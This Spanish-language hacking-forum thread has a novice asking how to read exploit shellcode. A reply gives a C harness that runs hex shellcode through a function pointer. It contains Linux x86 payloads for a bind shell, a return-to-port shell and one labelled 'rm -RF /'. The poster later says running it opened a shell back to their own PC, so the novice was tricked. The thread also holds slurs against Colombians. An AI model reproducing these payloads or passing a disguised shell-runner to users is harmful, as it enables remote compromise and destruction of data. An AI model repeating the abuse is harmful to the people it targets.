Tema destacado: Nueva página de elhacker.net en Google+ 
Autor
|
Tema: como leer un xploit (Leído 2,119 veces)
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
Saludo, no se si entra en este foro mi pregunta pero es la siguiente, Yo quisiera saber como puedo entender un xploit o sea yo se un poco de C lo que me refiero como puedo descifrar lo siguiente :
char shellcode[] = "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f" "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02" "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04" "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8" "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03" "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89" "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80" "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50" "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
Eso no se como interpretarlo, si alguien me podria decir donde encontrar informacion acerca de eso o explicamelo se lo agradeceria mucho.
|
|
|
|
|
En línea
|
|
|
|
X3sH
Desconectado
Mensajes: 10
|
Xploit no es lo mismo que Exploit...  ¬¬
|
|
|
|
|
En línea
|
|
|
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
Excusenme la ingnoracia, me referia a un exploit, ya se la diferencia entre los dos. Pero alguien me puede ayudar con mi pregunta?
|
|
|
|
|
En línea
|
|
|
|
Jec
Desconectado
Mensajes: 1.150
Not-Public
|
esa parte en especifico es una shell code, para "atacar" directamente el hardware.. ando medio jodido en el tema, pasate por el foro de hacking y leete los papers de rojodos que son excelentes, un saludo
|
|
|
|
|
En línea
|
Conthackto.com.mx
|
|
|
eLank0
eLhAcKeR r00Lz
Desconectado
Mensajes: 937
|
¿TIENES ALGUNA DUDA ACERCA DE EXPLOITS O SHELLCODES? ACTUALIZADO 12/02/05http://foro.elhacker.net/index.php/topic,49765.0.htmlLo que tienes ahí delante es la shellcode del exploit, yo hasta donde sé, son una serie instrucciones en ASM que realizan una tarea determinadad, y ahí están codificadas en hexadecimal. Salu2!
|
|
|
|
|
En línea
|
Antes de Postear, 
|
|
|
|
heap
|
Es un string en hexadecimal. Asi leyendolo no mas no vas a entendelo, pero yo generalmente lo que hago es lllamo con un puntero de una funcion al shellcode para que se ejecute, y uso strace para entender lo que el shellcode hace etx. Si quieres tener el code en assembly, usas gdb dissasm main, pero el problema es que leer ese code que te bota el gdb no es facil, y yo cuando miro exploits no estoy interesado en sabe todos los detalles del shellcode, sino mas sobre que hara en el sistema, creo que strace es excelente en este caso..claro que tu shellcode igual no va a funcionar esta mal.............
|
|
|
|
|
En línea
|
|
|
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
A que te refieres a un puntero de una funcion al shellcode?
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
pues has un apuntador a una funcion sin argumentos. void (*ptr)(); apuntas ptr al shellcode ptr = shellcode; Y llamas la funcion: ptr();
|
|
|
|
|
En línea
|
|
|
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
Entonces seria :
void (*ptr)(); ptr = "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f" "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02" "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04" "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8" "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03" "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89" "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80" "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50" "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
ptr();
Luego correr el strace asi
Strace *
me dices que es asi?
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
Nah como se te ocurre, ademas de que ptr ya esta declarada, tambien debes declararle un type al shellcode unsigned char estaria bien. daniel@debian:~/exploits$ cat shellcode.c
main(){
char sc[] = // thank you metasploit, skape, vlad902 /* "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" "\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; */ /* rm -RF / "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43" "\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04" "\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; */ //Return to port 4321 shell, linux x86 "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f" "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02" "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04" "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8" "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03" "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89" "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80" "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50" "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc"; // __asm__("call sc"); void (*ptr)(); ptr = sc; ptr();
} Ese es el archivo que generalmente uso para probar shellcodes, ahi descomentar la shellcode y listo.
|
|
|
|
|
En línea
|
|
|
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
Disculpa mi ingnorancia, pero cual es la que tengo que descomentar ? Lo que hice fue copiar el codigo que me diste y luego gcc -o shellcode shellcode.c y no me corre.
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
Hay dios, si quieres que te den todo masticado y listo para usar se equivoco de lugar...........No se apene de su ignorancia, apenese de su vagancia, si quire usar exploits y shellcodes tiene que aprender a programar en C. PD: El shellcode que corrio era un return shell a mi PC, grax  eso si que me dio risa de verlo xD
|
|
|
|
|
En línea
|
|
|
|
MITNICK
Desconectado
Mensajes: 129
¡Amo YaBB SE!
|
Realmente hay que ver como hay gente no estudida, sino mamaguevos, que porque creen que saben un chin de algo se creen que son los dioses . Este colombianito que viene seguramente de un campo donde todavia se anda con tapa rabo cree que hizo gran cosa, como si fuera esta pc algo de gran importancia. Realmente no se como los admin de este foro permiten a este tipo de personas en este foro, si esta supuesto a ser de ayuda no de joder al otro.
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
MITNICK esa es la tipica respuesta que hace gente como tu, que es gente que no le interesa el como, solo joder a los demas. como bien te dice heap si quieres usar/hacer shellcodes tendras que aprender c, ensamblador y conocer el sistema para el cual vas a programar la shellcode. si no tienes ni idea de ninguna de estas cosas te pasaran cosas como esa. que tb decirte que aun te pasa poco.
y creo que estas confuso sobre el tema del foro, esto es de bugs y exploits, ya sea para comentarlos y el que tenga ganas y tiempo estudiarlo. aqui no se compilan exploits para los demas, no se arregla codigo para que compilen. tu tenias una duda se te a dado la respuesta ¿que mas buscas?
|
|
|
|
|
En línea
|
|
|
|
HaCkZaTaN
Desconectado
Mensajes: 109
|
Realmente hay que ver como hay gente no estudida, sino mamaguevos, que porque creen que saben un chin de algo se creen que son los dioses . Este colombianito que viene seguramente de un campo donde todavia se anda con tapa rabo cree que hizo gran cosa, como si fuera esta pc algo de gran importancia. Realmente no se como los admin de este foro permiten a este tipo de personas en este foro, si esta supuesto a ser de ayuda no de joder al otro.
ojo con tus palabras ok yo tambien soy colombiano y en mi lugar me parece q heap tubo demasiada paciencia contigo  te lo dio todo en plastilina solo era de buscar un poco y saber C se supone q un comentario es /* */ o // y pues si no sabes eso sorry pero puedes pasarte por el foro de C y leer un poco por que es muy duro que alguien explique algo sin nisiquiera tu o la persona q sea poner de su parte....
|
|
|
|
|
En línea
|
|
|
|
|
|